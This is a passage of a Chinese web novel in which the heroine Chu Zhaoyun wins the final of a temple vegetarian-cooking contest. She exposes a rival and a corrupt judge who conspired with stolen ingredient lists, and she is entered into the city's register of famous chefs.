从复赛的汤圆来看,除了流心的技巧是程月提前教过的,她觉得自己和那二人并没太大差别。 所以到底要怎么做……才能从这之中脱颖而出呢。 褚朝云这回,是真有点睡不着了。 她出门打算四处转转,未免自己走丢,便请了一位暂无其他事在身的僧人跟随。 “我可以到处看看吗?” 她问。 僧人:“自然可以,施主想去哪里,我可以为您引路。” 褚朝云迈步去到院道,一抬眼,就发现唐淑和宗匀酌也出来逛寺庙。 三人相见态度皆不善,彼此也都没说什么话。 褚朝云拜托僧人先带着她去往藏书阁,于是二人在院道一侧拐弯进去,不多时,就走得远了。 唐淑乜了一眼褚朝云的背影,便“不计前嫌”的走到宗匀酌面前,顺便低语了两句。 …… 褚朝云这一下午逛得漫无目的,纸笔送到房中许久,她也没回来写一个字。 毕竟写完就不能更改,她需要好好的思量一番。 只不过,她逛寺途中发现了一件讨人厌的事,就是身后多了两只跟屁虫。 她无论往哪里走,唐淑和宗匀酌都步步紧跟,然后又停在距她不远的位置上,就那么默默地看着她。 这二人面上一直保持着奇异的微笑,像是在偷偷密谋什么事情。 而褚朝云却像个没事人一样,压根不往他们这儿看。 唐淑盯着她的方向,不禁心中冷笑,之前是自己小看了这女子,所以才被打了个措手不及。 可如今她有了防备。 那么接下来,倒霉的就该轮到褚朝云了。 褚朝云逛累了之后便回来厢房,僧人示意她天要黑了,所以请她快快写下所用食材,他们好出寺去买回。 褚朝云坐到方桌前,提笔开始在纸上写字。 她还是不太会握毛笔,虽说一笔一划写的很是认真,但那字体却如同毛毛虫在地上爬出来的痕迹,看着有些歪歪扭扭。 写好之后,她叮嘱僧人:“小师傅辛苦,请千万拿好纸条,别被旁人看了去。” “施主放心。” 僧人说罢,就出了厢房。 他将纸条揣入衣袖,见天色已晚,便提了只灯笼沿着院道急切前行。 忽的有二人迎面跑来,狠狠撞了他一下,僧人被撞得摔在地上,回手一摸,袖口里的纸条就不见了。 僧人顿时有些焦急。 而撞倒他的二人却捡起了纸条,递上后还连连道歉:“对不住小师傅,这入夜看不太清,所以走岔了路,您没被撞疼吧?” 僧人接过纸条重新收入衣袖,客气的道了一声“无妨”,就继续提灯前行。 想着这夜里漆黑,纸条上的内容应该不会外泄,就也没太过在意方才的事。 僧人走后,撞人的两名仆从互相使了一下眼色。 一人问:“看清楚纸条上都有什么食材了吗?” “放心,全部记下了。” “呵呵,这回看那褚朝云还怎么过决赛!” …… 褚朝云一早醒来就被僧人告知“比赛要提前”的消息,上两次都是午时,这次吃过早饭便要进厨房去准备了。 空释的意思,因这一次是要参赛者们自由发挥,所以由原本“限时一个时辰”的规定,改成“预留一个上午”给选手。 把做饭的时间延长,也是为了大家不会忙中出错。 早饭还是粥配煮菜,褚朝云随口吃过,就跟着僧人来了厨房。 这一回她叫僧人们准备的食材有些多,几乎摆满了整张桌子。 褚朝云还没来得及关上房门,正站在厨房里清点食材,门外路过的宗匀酌和唐淑,便故意探头往她这边看了过来。 待看到桌子上的那些食材后,二人嗤笑出声,然后就各自去了自己那间准备。 与此同时,食客厅里也站满了人。 除了四位评判和宗家、唐家的仆从,两次比赛被淘汰的参赛者们也全部都回来了,就连最初先走掉的蔡庆,都连夜从家中赶了过来。 这些人回去之后,怎么想都不太甘心。 又一思索,进入决赛的这三名选手全都跟程月有关……那可是他们崇拜的程娘子啊! 所以他们也想看看,最终夺魁的到底会是哪一位。 直到回来之后,众人才发觉,自己这个决定真是太明智了。 因为此刻的食客厅中,还多来了一个人。 女子白裙白帷帽,正安闲的坐在一边,又因有帽帘遮挡,所以大家很难看清楚她的长相。 有人不知这女子是谁,便小声问了一句。 而后,就得到了旁人的一记白眼:“她不就是程月吗?你连这个都不知道就回来?” “什么?她是程月?是程娘子?!!” “听说是为了避嫌,所以空释大师父最初拒绝了她的入寺申请。可如今赛事已近尾声,人家的爱徒又进了决赛,她自然要过来给褚朝云打气呗。” 一见程月来了,众人顿时议论开来。 原本静谧的食客厅中忽的翁声四起,虽说那字字句句的议论都不太大,可凑到一块便如同有蚊蝇在耳边翻飞,确实吵人。 清禅看了左侧的空释方丈一眼,立刻出声阻止:“佛门净地,请各位肃静。” 众人默然。 许是等待期实在太长,时辰不知过去多久,三名选手还是无人从厨房里出来。 被邀请做评判的两名香客似是有点坐不住了,便也预备找话题闲聊两句。 女香客:“程娘子果然严师出高徒,褚姑娘在初赛和复赛时皆表现精彩,想来这决赛,也不会让咱们失望。” 男香客:“倒也不好这般讲话,哪怕再是师徒关系,也未必就能尽得真传。” 女香客诧异:“您是不看好她吗?” 男香客立刻笑道:“看的好看不好并不太重要,总要有真本事才是。总之,我是不会因为褚朝云是何人的徒弟,就偏颇她的。” 女香客怔愣:“您这话说的,比赛的目的就是为了公正,自当是不能偏颇了谁。” 这是二人间的第一次对话,女香客实在觉得话不投机,索性就住了嘴。 这边说完,厨房里忙碌的三名选手也终于结束了。 褚朝云是最晚出来的,所以走在最后面。 而第一个端出成品的,是宗匀酌。 这一次的菜品由比赛者亲手端出来,宗匀酌进入食客厅,一眼瞥到程月,面色就微微变了下。 但他很快就调整好了情绪,径自走到厅中央,一把就掀开了盖在菜品上的帘子。 帘子被撤下,露出菜品真容。 这香味顿时就传遍了整间厅堂。 众人好奇的伸着脖子往他手中去看,待看到那道素斋时,登时惊的又是嗡声一片。 而就连看清楚盘中之物的褚朝云,也有些讶异地蹙了蹙眉。 第60章 二更 “咦?鸡腿??!” 站的近些的蔡庆看到盘中之物,一个没忍住,便惊叫了出来。 他说完,其余人也都好奇的往前凑—— “鸡腿不是荤食么?这也算素斋?” “宗公子不会是气昏了头,为了赢这决赛,荤素都分辨不出了吧?” “……你要不要听听自己再说什么?” 宗匀酌当然没有那么傻,敢明晃晃的往空释面前端荤食,莫说决赛过不过,惹怒了寺中僧人,直接棍棒打出去,连比赛名额都会被取消掉。 所以他今个突然演这么一出,着实叫人有些看不太懂。 可看不懂的是旁人,不是褚朝云。 此刻,褚朝云正安静的站在角落里,她个头虽高,但打扮上却不怎么显眼,也就没谁注意到她。 女子瞥向那盘中之物,只是初时被惊了一下,可冷静之后,也不难想明白这件事。 宗匀酌做的那道素斋可不是什么鸡腿,而是她之前为了帮曾茹,自创出来的一道素菜。 后续她将这道菜的制作过程写下,赠给了曾茹。 也因着这道素菜,曾老太太和曾茹才能放下芥蒂,团聚一堂。 曾茹是朱力的娘子,而朱力又跟宋谨交好,虽说她没见过曾茹本人,但宋谨给她的印象一直非常不错。 所以,她不会怀疑菜谱是曾茹夫妇卖出去的。 可曾家的其他人……就不好说了。 褚朝云低头想事,在抬眼时便察觉到宗匀酌高傲的瞥向了她,宗匀酌洋洋得意的姿态仿佛马上就能赢得比赛,若是这人长了尾巴,这会儿大概已经翘到天上去了。 宗匀酌的眼底只有蔑然和挑衅,表情上半点都看不出心虚来。 想来,这人压根就不知道菜是她发明的。 褚朝云从对方面上移开视线,转头又去看唐淑,唐淑帷帽戴的牢牢地,可垂在身侧的小指头却总是轻微的晃动着。 这两日她总跟唐淑在一块,唐淑有个不为人知,或者说是连自己都没注意到的小习惯。 每当这女子想要算计什么的时候,小指头就会控制不住的晃动。 褚朝云嗅到了阴谋的味道。 再过来长业寺之前,她原本以为这只是一场单纯的素斋比赛,可下船才发觉,原来外面的牛鬼蛇神竟如此之多。 很好。 也算是给自己积累经验了。 思来想去,她决定暂时不动声色的看下去。 因为心里有种预感,很快,就会有意想不到的事情发生了。 褚朝云重新抬起头,往上首的四位评判处看去,除却空释和清禅,女香客似乎对宗匀酌手里的吃食更加感兴趣一些。 “宗公子,不如你来介绍一下盘中之物?” 她打了个圆场。 但宗匀酌却不太领情,一副“你真没见过世面”的样子。 宗公子往前上了一步,然后指着盘子里的一只“鸡腿”说:“这不是什么荤食,不过外表做的像而已,这素食鸡肉的部分,我用的是嫩豆腐和豆皮,而鸡骨处,则采用了菇子的菌柄。” 他说完,便示意评判们先尝尝看。 清禅似乎对此物兴趣颇浓,所以就做了第一个动筷子之人。 清禅师傅小心翼翼破开豆皮,包裹在嫩豆腐中的汤汁顿时外溢出来,内芯看着如鸡蛋羹似的细腻,他夹起一点放入口中:“创意不错。” 只提了创意,看来在味道上,倒是不那么尽如人意。 不过,清禅还是很给面子的举了红色牌子。 今日这一场决赛的规则,其实和初赛、复赛是不太相同的。 本着三名选手不相上下的优势,空释认为,决赛未必只能胜出一人。 若是有本事,三人同胜也不是不行。 但他们并没有提前把这一条隐秘的规则透露出来,也是为了防着有人趁机使诈。 女香客尝过一口也觉得味道一般,不过跟清禅想的一样,这菜做的能有如此创意,也算是宗公子有心了。 用心。 这不就是他们举办此次比赛的用意吗? 所以这道菜在女香客那儿,也算是顺利通过了。 接下来,就只剩下空释和那名男香客了。 宗匀酌轻轻弯了下唇,一脸“势在必得”的样子。 而空释相较方才的两位,态度上会更加严谨一些,他尝过一口停了停,然后问道:“宗施主,这一道素菜的内芯,除却嫩豆腐,可还有其他的食材么?” 因为他只取了一小部分,至于其他部分,他还没用筷子碰过,所以才会有此一问。 宗匀酌摇了摇头,“没有。” 宗公子虽是好好的回话,但脸色却明显不悦。 他觉得空释在故意刁难,不过一道菜而已,已经做的这般精致了,还想要什么? 给你放点金子吗?? 因着空释的迟疑,宗匀酌不禁有些焦灼。 他恐怕在方丈这里出了什么问题,于是只好硬挤出一个笑来:“方丈师父,敢问您……是不喜欢我的这道创意菜吗?” 说话时,他故意在“不喜欢”三个字上加了重音。 目的也是为了让其他在场之人好好听听,即便空释真不想让他通过,也是这方丈自己的问题,不是他的。 空释听出他的不满却也没计较,只是放下筷子举起了红牌,“并未,只是觉得这嫩豆腐之中,还可以再多放一些其他的食材罢了。” 空释这么一说,褚朝云也更加能够确定,自己这方子不是曾茹卖出去的了。 因为她做的那一道里面放了荸荠,吃起来脆甜清爽。 豆腐本就口感细润,多了恐叫人腻歪,所以她才会想着用荸荠来综合一下,也是为了解腻。 可宗匀酌做的这道菜里没有荸荠,明显就是仿出来的。 听闻曾家便是青州来的,想必是曾家的哪位公子想要讨好巴结宗匀酌,又得知对方要来蕤洲参加素斋大赛,便把曾茹做的菜描述了一番。 所以宗匀酌就照葫芦画瓢,然后还画的不像。 褚朝云已经彻底想明白了这件事,只是这么一晃神间,宗匀酌却被判出局了。 嗯? 出局?? 褚朝云还以为宗匀酌这回要稳赢了。 女子疑惑地抬头望去,只见那名举着绿牌子的男香客手还没放下,男香客鄙夷地瞥向那道菜,身侧扔着的筷子上还挂了一点豆腐渣。 他嗤冷的笑出一声,毫不留情道:“宗公子这道菜创意确实不错,但依我之见,也没那么出彩。” “正如空释大师所言,内馅儿除却嫩豆腐,还可在丰富丰富,否则未免单调,也影响了口感。” “而且你这道菜不就是豆腐味儿配着菇子味儿,我怎么吃都有点难以下咽啊,啧啧。” 男香客劈头盖脸的嘲讽了一通,放下牌子时还哼笑两声。 宗匀酌的脸就彻底黑了。 而其余去而复返的参赛者们见状,也都纷纷捂着嘴笑出声来。 和宗匀酌相比,他们大概还不算最惨的,因为根本没到决赛就已经被踢出了局。 可宗公子呢,好个青州第二。 这临门一脚被掀了饭碗,恐怕回到青州会怄的大病一场了吧? 那些人嘲笑不够,本想在奚落几句的,但见宗匀酌表情难看的像是要吃人,这才讪讪着打消了念头。 宗匀酌强压着内心的暴怒,似笑非笑地看向男香客,一字一句几乎要把牙齿磨碎:“那么敢问这位评判,素斋除了这些味道,你难不成还想吃出肉味儿来吗?” 男香客对他的质问视而不见,只是催促着喊下一位上来。 决赛毕竟与前两次不同,未免出什么事情,岳常也派了几名衙差过来镇场。 所以宗匀酌虽然心有不忿,但始终也不敢太过发难。 他暂且退到一旁,目光则落向走到厅堂中央的女子身上。 第二个上来的是唐淑。 比起宗匀酌端上来的一小盘,唐淑这一份看着量可就足多了。 面对四位评判,唐淑笑着行了一礼,并且语调轻快的介绍道:“我这一份做的是全家福,食材较多,望各位师傅勿怪。” 唐淑很会装模作样,其他参赛者们还记得“混战”那日,这女子疯婆子一般的丑态。 此刻看到她又在演天真无邪,全都嫌恶着撇了下嘴。 他们觉得宗匀酌人已经不怎么样,唐淑跟他也是半斤对八两了。 唐淑掀开瓷盆上的布帘,热气蒸腾地一大锅色泽各异,果然看着是要比上一位的丰富些。 女子巧笑嫣然,将食盆端近,然后一一介绍道:“我是按照家中拨霞供的方子做的,只是其中食材并非兔肉,而是有豆皮,嫩豆腐,葵菜,枸杞,南瓜,糯米,桂花……” 她一口气说了十几种,登时就把大家给听呆住了。 “好家伙,这是要做满汉全席吗?” 蔡庆瞪大眼睛,从人堆里挤出来,似是不怎么相信一道素斋会用到那么多种食材,便大着胆子跑上前来仔细的看。 来到近前之后,蔡庆才明白唐淑到底是怎么做的。 唐淑把所有的食材全部做成了丸子状,一颗一颗红的绿的黄的白的,再配上一锅浓香的汤汁,看着倒是色香俱全。 想来这样一锅吃食,味道也不能差了。 毕竟拨霞供是大祁名菜。 男香客见了她手中吃食,倒是比那孤零零的仿鸡腿更有兴致。 他索性第一个尝试,夹起一口白色的团子,放入口中咀嚼片刻,然后微笑道:“唐小姐好手艺好创意,这糯米团子入口黏糯,南瓜团子也是细腻柔香啊!” 说着,便迫不及待的举起了红色牌子。 “恭喜唐小姐,你通过了。” “多谢这位食客赏识。” 唐淑缓施一礼,面上的兴奋简直藏都藏不住。 其余人见嘴刁的男香客都这样说了,就也在盆中挑着自己喜欢的食材尝了起来。 虽说厅中现下氛围和谐,唐淑这道素斋看似也会顺理成章的通过,可褚朝云还是微微挑了一下眉头。 她默默退后两步,目光一直在那名男香客和唐淑身上打转。 身后的徐大见她过来,便心领神会的往前上了一步:“褚姑娘可是有事要我去做?” 徐大虽看着人高马大,但做起事来确实周全又细心。 褚朝云目光左顾右盼两圈,见没人注意她,便压着声说:“我猜等下轮到我时,一定会有变故发生,你和徐二兄弟去……” 她声音一降再降。 二人朝她抱了抱拳,很快,就在人群中消失了。 褚朝云目光冷冷的看向唐淑,看来上一次的教训还不够大,这女子果然又在搞事。 这么想着,她便侧目看了一眼宗匀酌。 宗匀酌果真跟受了刺激一般,拳头正捏的“咯吱咯吱”响。 宗公子起先还没明白,待唐淑报出自己所用食材后,他才恍悟,自己竟是被唐淑这奸诈小人给算计了。 那日唐淑找到他,先是解释清楚自己没有把他偷菇子的事情说出去,因为唐淑确实不知道这件事。 说过之后,又耐心的分析了一下当前形势。 唐淑口口声声他们都是被褚朝云害成这样的,若想赢了决赛,就必须要联手才行。 宗匀酌原本是不信她的鬼话的。 但唐淑告诉他,决赛的规则改了,可以同时产生多名魁首,这样一来,他们二人便可同时胜出,彼此也就不存在什么竞争关系了。 宗匀酌虽不知她从哪里得来的消息,但总算勉强愿意听下去了。 而唐淑的计划也不是什么特别的高端局,她只说自己会想办法弄到褚朝云所要用到的食材,到时他们避开这些食材,想出一个更有创意的菜式,赢面就会很大。 宗匀酌表面答应跟她合作,其实也有自己的私心。 他觉得曾阳给他提供的那道菜颇有创意,虽说知晓褚朝云所用食材中有“豆皮”和“嫩豆腐”,可他还是毅然决然的用了。 毕竟褚朝云的创意,恐怕也没他的好吧。 但唐淑的胜出,无非是给他浇了一盆冷水下来。 因为唐淑非但没有避开褚朝云用到的那些食材,反而全部都给用上了。 虽说宗匀酌此刻还看不太明白唐淑到底在算计什么,可她这举动绝非巧合,既然这么做了,那么必有用意。 眼下三人,心怀各异。 宗匀酌除了恼怒,只能不断安抚自己先稳住,至少得知道唐淑的最终目的才行。 而唐淑呢,吃食做的的确还不错,自然顺理成章的就胜出了。 最后只剩下褚朝云。 唐淑望过来的时候,褚朝云刚好端着自己的吃食走上前去。 女子表情淡然,虽穿着打扮朴素,可一双眼却叫人看过便难以忘怀。 她端上来的也是一只瓷盆,看着比唐淑手中的略小些。 尽管已经猜到唐淑是得到了自己所用食材,所以今日才弄这么一出,可她端盆的手依然稳稳当当,内心也是不慌不乱。 褚朝云掀开盖着食盆的布帘,缓缓端至四人近前。 本该是寥寥冬日,满目的白茫多显萧瑟,可当大家看到盆中景象时,却只觉周身一片清凉。 清凉且不冷寂,反而还生出日头照人,温暖人心的错觉来。 褚朝云做的是什么呢? 还真有点不太好说。 只是她这么一展示,不但参赛者们眼中连连表露惊异,就连一直没怎么表态的程月程娘子,也仿若带着惊喜似的站起了身。 程月不善于掩饰内心,而且她是真的喜悦。 同时站起来的,还有空释和清禅。 空释难得主动走上前来,盯向那如同盆景似的吃食,面上显露出不多的淡笑,“褚施主做的,可是我后山金池中景象?” 长业寺后山金池,虽说是养了乌龟和小鱼的一汪清池,可清禅惯爱那一池清水,夏日还在其中添了睡莲。 只是因着冬日气候的关系,才看着有些许衰落。 可长业寺一向香火鼎盛,来的香客逐渐多了,便有人突发奇想,向那金池中投铜板许愿。 所以那池水深处,碧草之间便藏了好些的铜板,每当日头落向其中,就显得熠熠生辉,也为那一汪金池增添了些神秘色彩。 褚朝云用葵菜叶做莲叶,南瓜皮仿金莲,池水用糯米浆打底,糖桂花便充作那许愿的铜板。 枸杞制成锦鲤,南瓜瓤捏成金龟,嫩豆腐搭成石块,豆皮则包成了一只小巧的福袋。 远远瞧着,这哪里是一道简简单单的素斋,莫不如说是一幅绝美画卷更为贴切。 就连看到目瞪口呆的蔡庆,都止不住连连夸赞。 还有从前将她视为仇敌的许钰,也不禁竖起拇指来赞赏:“若说比起创意,谁做的菜能跟褚朝云相提并论!” 许钰彻底服了。 蔡庆也庆幸自己去而复返,否则,又怎能有机会看到这样一道令人惊艳的菜式! 女香客依旧最看好褚朝云,她拿着筷子过来,却有些无从下口:“褚姑娘,你做的菜总叫我不忍心破坏。” “不如尝尝那糯米浆吧?” 褚朝云称它米浆,但它也并非是真正的浆水,只是相对米糕来说更粘稠些,是用糯米粉调出来的。 如果真要用个妥帖的叫法,褚朝云更愿意把它称为“仿制麻薯”。 女香客笑呵呵地说了句“好”,而后便用筷子去挑那糯米浆,近乎拉丝的米浆挂在筷子尖上,入口丝滑甜糯,口感甚妙。 “唔,很香啊!” 女香客吃的满意,又去夹那葵菜叶。 “清爽解腻,搭配得当。” 女香客立刻就举了红牌子。 而空释和清禅本就对寺中之物情有独钟,哪怕味道上差那么一点,可难得有这种奇思妙想的菜式,二人也会给她通过。 只是二人浅尝之后,眼中惊艳却一重胜过一重。 他们发现褚朝云做的这一道并非空有菜色,就连味道也是惊才绝艳。 于是,这红牌子便举得是心服口服。 空释更是破天荒夸赞了一句:“很好,褚施主不愧是程施主的徒弟。” 这句说完,一旁的男香客却不冷不热的哼出一声。 自从这道吃食端上来,男香客便一下筷子都没动过。 这会儿见只剩下他一人,就毫不犹豫的举了绿牌子:“抱歉,褚姑娘厨艺在绝,在我这里也是不予通过的。” 褚朝云见男香客眼皮耷着,一副“不听不听反正我不给过”的高傲相,心中便想要发笑。 听到男香客说不通过,她也没恼,反而好性子的走上前来,询问道:“敢问香客,我这道吃食不通过的理由。” 问理由是正常,哪个被淘汰者都会询问。 而男香客似是很讨厌她追着不放,于是扔掉手中牌子,直接往椅子上一座,就一脸讥笑道:“褚姑娘还有脸来问我?为何不通过你自己难道不知道吗?” “不知,所以还是请你来给我解惑。” 褚朝云态度淡淡。 男香客却“啧”出一声,声音故意提高了分贝:“此次比赛除了分辨厨艺,看的还是人品。” “褚姑娘投机取巧,用仿制金池的创意故意讨好两位大师父,实乃钻营的小人!” “如此人品卑劣简直可恶至极,哪怕你做的吃食再好,我也不能给你通过!!” “免得你扰了佛门清净之地,害的长业寺断送香火!!!” 好伶俐的口齿。 对方这样一副上纲上线,强加罪名的做派,差点连褚朝云都要拍巴掌喊“佩服”了。 口舌这般犀利,不去说书真的很浪费材料。 褚朝云心想。 只是男香客这番故意羞辱的言辞对她而言,根本就是一拳打在棉花上,丁点惹怒她的效果都没起到。 褚朝云连眉头都没皱一下。 可她这副样子看在男香客眼中,对方却认定她是在故作强撑。 男香客阐述完自己的理由,不待褚朝云开口,早就看他不顺眼的女香客却愤怒的拍了桌:“荒唐!这次来长业寺做评判,并非是我人生中的第一次,可如此强词夺理的说法,我还真是第一次听到过!” 女香客虽如此愤怒,但男香客显然没把她放在眼中,只冷哧一声:“第一次听到?那你未免也太孤陋寡闻了些。” 这边的二人起了争执,那边参赛者们的脸色也是一变再变。 他们自然不愿叫褚朝云胜出,最好三个都被淘汰。 可这世上崇尚技艺之人,大抵也都是慕强的。 褚朝云的这道菜确实让人挑不出毛病,甚至拿到哪里去,也是有夺得魁首的资质的。 真算起来,唐淑那一盘杂色丸子,才是真正的毫无趣味。 于是,有人实在看不过去,便主动出列道:“空释大师父,我觉得、觉得您请来的评判确实有失偏颇,还是请您秉公处理。” “对呀!那高老爷摆明就是偏着唐淑的啊!当我们眼睛瞎了?” 那名男香客在蕤洲还是颇有些地位,他名唤高尚,又是高家家主,所以大家才喊他“高老爷”。 众人七嘴八舌的帮褚朝云叫屈,高尚顿时就不满起来,“放肆!我高尚做事向来光明磊落,你们这群不知天高地厚的黄口小儿,竟敢污蔑我偏颇?” 高尚气势惊人,一吼就将他们给镇住了。 可第一轮就被刷下来的宗匀酌俨然不惧他,宗匀酌抓住机会厉声喝道:“狡辩什么?你未免偏颇的太过明显,真以为我们那么好糊弄?我的鸡腿,就是证明!” 参赛者们:“……” 你就不要再提鸡腿了啊喂! 高尚毕竟是家主,自然也不怕真跟他们对上。 高老爷以一己之力舌战群雄,正说到兴头上,唐淑就走了出来。 唐淑走到四位评判面前,期期艾艾道:“其实有一件事我本不想说的,奈何褚姑娘不肯认输,我就只好把真相给讲出来了。” 她一说话,场中暂时安静下来。 唐淑转身看向褚朝云,似是艰难的抹去眼角湿润,然后才声音哽咽道:“虽说褚姑娘也勉强有那么点创意吧,可那些食材……你们难道没发现,她同我所用的食材都是一模一样的吗?” 起初大家确实没注意这点,因为食材一样,但做出的形态不同。 谁会去挨个对比认证,主要也没意义。 可经过唐淑提醒,在场众人便反应了过来。 见风向有所转变,女子则诡异地弯了下唇角。 被帽帘遮住的面庞看不太清楚表情,他们只听唐淑弱弱的说:“褚姑娘不知用了什么方法,知晓了我所用的那些食材,这、这难道不算是抄袭吗?” 她说着,深吸口气,像是突然觉得无力似的:“我本不想追究,可如此拙劣的行为……长业寺真的要任由这种品行卑劣之人成为魁首吗?” 唐淑说完,便笑容奇异地看着褚朝云。 就在她觉得马上要有好戏登场的时候,褚朝云也面色淡然的看向了她。 女子依旧是那副淡淡的样子,神色不见慌乱,声调慢条斯理:“是啊,唐小姐。其实我有一件事,也本不想说的。” 不知怎么,褚朝云还没等继续往下说,唐淑后背就莫名生出一股冷寒。 60-70 第61章 二更 众人一见褚朝云也有话要说,便全都看向她,并做出了一副洗耳恭听的模样。 待空释抬手示意她继续之后,褚朝云才走至厅堂中间,缓缓开口道:“那日在厢房院道,唐小姐和我们起了些争执,我明明记得宗公子和唐小姐闹得最是不可开交,可不知为何……他们突然又和解了。” 她话未说完,宗匀酌便心虚的反驳了句:“胡说,我们哪里和解了?!” “没和解吗?” 褚朝云表情惊讶地走上前去,一双眼定定盯向宗匀酌,似是有些想不通道:“若是没有和解,那你二位昨个为何还携手同游?” 她这一声质问虽说看着并不刻意,但昨个为褚朝云引路的僧人便立刻开口道:“褚施主提起的事我也有印象,昨日我带褚施主去了藏书阁,紫竹院,还有后山的金池,唐施主和宗施主的确是一路同行的。” 褚朝云看着宗匀酌笑了下,随即就摊了摊手。 宗匀酌没想到她连这种小事都会盯上,正欲再说些什么辩解,女子就飞快走上来,用仅二人能够听到的声音提醒道:“宗公子,我劝你三思之后在发言。” 宗匀酌眉头蹙了一下,眼中迷惑:“褚朝云,你到底是什么意思?!” 褚朝云轻轻垂眼,也不跟这人绕弯子了,索性直言道:“唐淑算计了你,你不报仇吗?你此刻不拉她下水,是还在对决赛抱有期待?宗匀酌,你小心拖到最后不但没了说真话的机会,还要鸡飞蛋打落的一场空!” 其实唐淑和宗匀酌到底密谋了什么,她并不知晓。 可二人才刚打过一架就能携手同游,那么共同要对付的目标只能是她。 再加上高尚又参与了进来…… 褚朝云便猜到,宗匀酌也不过是个被唐淑利用的倒霉蛋罢了。 但她不会同情宗匀酌,反而觉得此人活该,没有金刚钻还想揽瓷器活,帮着人家一通忙活,临门一脚直接被唐淑踹出了局。 两个人都不是什么好东西。 可她这么一引导,宗匀酌却不得不多想了些。 宗匀酌当然不愿意褚朝云翻身,可唐淑竟敢耍弄他,明显更加可恶! 若是今日这魁首最终要落到唐淑的头上,他岂不是会憋屈的发疯? 褚朝云说完话已经退回到了自己的位置上,宗匀酌看了看走远的她,就转头瞪向唐淑,沉了口气说道:“若论人品卑劣,谁又会比唐小姐更胜一筹!” 而后,他就当着众人的面把唐淑的计划全盘托出,并且还不忘强调,他和褚朝云都是受害者。 宗匀酌这一开口,唐淑自然不肯承认。 不待场面变得混乱,褚朝云就高声道:“唐小姐,关于食材的抄袭问题,你现在是不是该给我一个解释?” 她一句接着一句,问完便笑:“而且我也好奇的很,关于决赛的规则改了这件事……你又是如何得知的呢?” 她虽一句没提高尚,但又字字句句都在指向高尚。 空释和清禅是长业寺中人,上面又有岳知府盯着,必然不敢弄虚作假。 而那慈眉善目的女香客从头到尾都很看好褚朝云,且她不似高老爷那般刻薄,捧着一个就要恶狠狠地踩下去两个。 女香客不爱与小辈们为难,几乎很少判谁出局,所以她也是清白的。 褚朝云的话听着像是兜了一个大圈,实则已经将疑点摊开在了众人眼前。 空释和清禅,以及在场其余人全都看向了高尚和唐淑。 高尚恐怕事情败露,正要耍那家主威风,想要在震慑一下大家,几名发现端倪的衙差便走了过来。 而唐淑心思细腻也算个高手,见这决赛出了变故,知道这条路已经行不通了,索性就打算另辟蹊径。 她强装淡定的走过来,给衙差们行了一礼:“衙差大哥,小女子不曾做过那等龌龊之事,宗公子欺我,褚姑娘又强行污蔑,可凡事都要讲究证据,这信口雌黄的话,我想谁都会说——” “要证据?那我有。” 褚朝云已经看够了她的表演,只想快点结束这一切。 与此同时,徐大徐二也从外面走了进来。 二人将从高尚房间里搜出来的书信递给衙差,并且当众说道:“高尚和唐家有生意往来,是多年的合作伙伴,所以唐家递来书信,叫他一定要多多关照自己的爱女。” 徐大徐二刚才得了褚朝云的嘱托,便神不知鬼不觉地去了高老爷房间。 褚朝云看出那两人不太对劲,猜想,这寺中僧人众多,即便唐淑和高尚想要商议什么,也不会明目张胆地会面。 那么书信,便是最好的联络方式。 褚朝云见果真搜出了东西,便朝着徐家兄弟虚行一礼作为道谢。 然后又看向官差道:“我请徐家兄弟私自搜证确实不合规矩,此事我会负全责,但事出有因,小女子也是逼不得已。” 不过,官差并没打算追究他们的不妥当行为。 毕竟唐淑和高尚真是合谋,介于岳常对此事的看重,他们还得感谢褚朝云,免得事后再揭破,几人岂不是官职不保。 官差们朝褚朝云摆摆手,示意无碍。 褚朝云便笑道:“那如今证据确凿——” “褚——朝——云!!!” 褚朝云话还没等说完,唐淑已经愤怒的摘掉帷帽,目眦欲裂地朝她吼出一声。 唐姑娘说话本是闺秀般温婉,但此刻却发出一声刺耳的尖锐。 她这一嗓子着实将在场众人吓了一跳,就连程月,也像是怕她伤害褚朝云一样,立时就走上前来护住了爱徒。 如今唐淑、宗匀酌跟程月的关系,在参赛者之中早都传开了。 这一幕瞧着,多少有点讽刺。 官差们将高尚,唐淑,还有参与了一部分事件的宗匀酌全都带走了,所以这食客厅里的决赛者,就只剩下褚朝云一个了。 空释对向她聊表歉意,而后就宣布:“褚施主理应为本次赛事的魁首,且姑娘确实有真本事,此乃实至名归。” "本寺一众僧人,代表长业寺欢迎你的加入。" 空释一锤定音。 褚朝云和程月便全都松了一口气。 女子面上喜气洋洋,到底是年纪浅些,禁不住感动,眼眶顿时就红了:“师父,我成功了?我成功了!!” 她差点当众将程月给抱起来。 而其他参赛者见了,也不禁心有悸动—— “我也好想去做程娘子的徒弟啊!” “我也是,程月可是名厨,又有谁不想当她的徒弟啊,可惜她不会再收徒了。” “呃?你在说什么啊?我想拜师,是因为想做褚朝云的师妹呢,朝云师姐好厉害啊!” “人家理你么?还朝云师姐……” 许钰翻了个白眼,然后就笑嘻嘻地凑上前去:“朝云师姐,你要不要考虑一下我啊?” 一群人在食客厅里说了好一会儿话,因着天色也不算早,褚朝云就想先拜别离寺,这样还能腾出些时间跟程月多说会儿话。 她拉着师父正要离去,清禅便忙喊住她:“别忙走褚施主,你的奖励不要了吗?” 清禅一提醒,众人便都笑了起来。 褚朝云也有点不好意思。 主要是她从没参加过这种比赛,一下子高兴过头,还真忘了问比赛的奖励是什么了。 清禅无奈地摇了摇头,然后说道:“我先来跟褚施主讲一下入寺的规矩吧,我们长业寺每逢初一十五便会庙门大开,迎香客进门。然后由我们的掌厨,也就是褚施主你,来为香客们做十五道素斋宴。” “十五道素斋不会每次都一样,要依据香客们的反馈随时做出改善,所以还要请褚施主提前一日入寺,与我详商食单事宜。” 虽说清禅只是在讲解入寺的规矩,但褚朝云还是听得心中一喜。 若是如此,那她岂不是每月都有四日能够下船了么? 仿佛嗅到了自由的味道。 女子笑盈盈地点头答应。 清禅则继续说下去,“好,那么我即刻为褚施主颁发奖励。” 说着,便有衙差递上了一份红色封皮的小册子,清禅接过的同时,褚朝云目光也跟着落了过去。 她不知这册子是何物,还以为是写了什么名菜的菜谱。 那小册子封皮红底透着白梅雪景,右侧中间笔墨蕴出的黑色框中,用如沙的金墨书写着“蕤洲名厨册”五个大字。 褚朝云愕然地看着册子,怔怔念出:“蕤洲……名厨册?” “正是。” 清禅点点头,顺手接过僧人递上的毛笔。 不过想了想,他便又将毛笔改递到空释面前,并请示道:“褚施主如此优秀,不如这一笔,便由方丈来为她添上吧?” 这么一说,褚朝云更加发懵。 添上? 添什么?? 空释思虑片刻便接了过去,跟着翻开名厨册,在最后一页的位置上,腾上了褚朝云的名字。 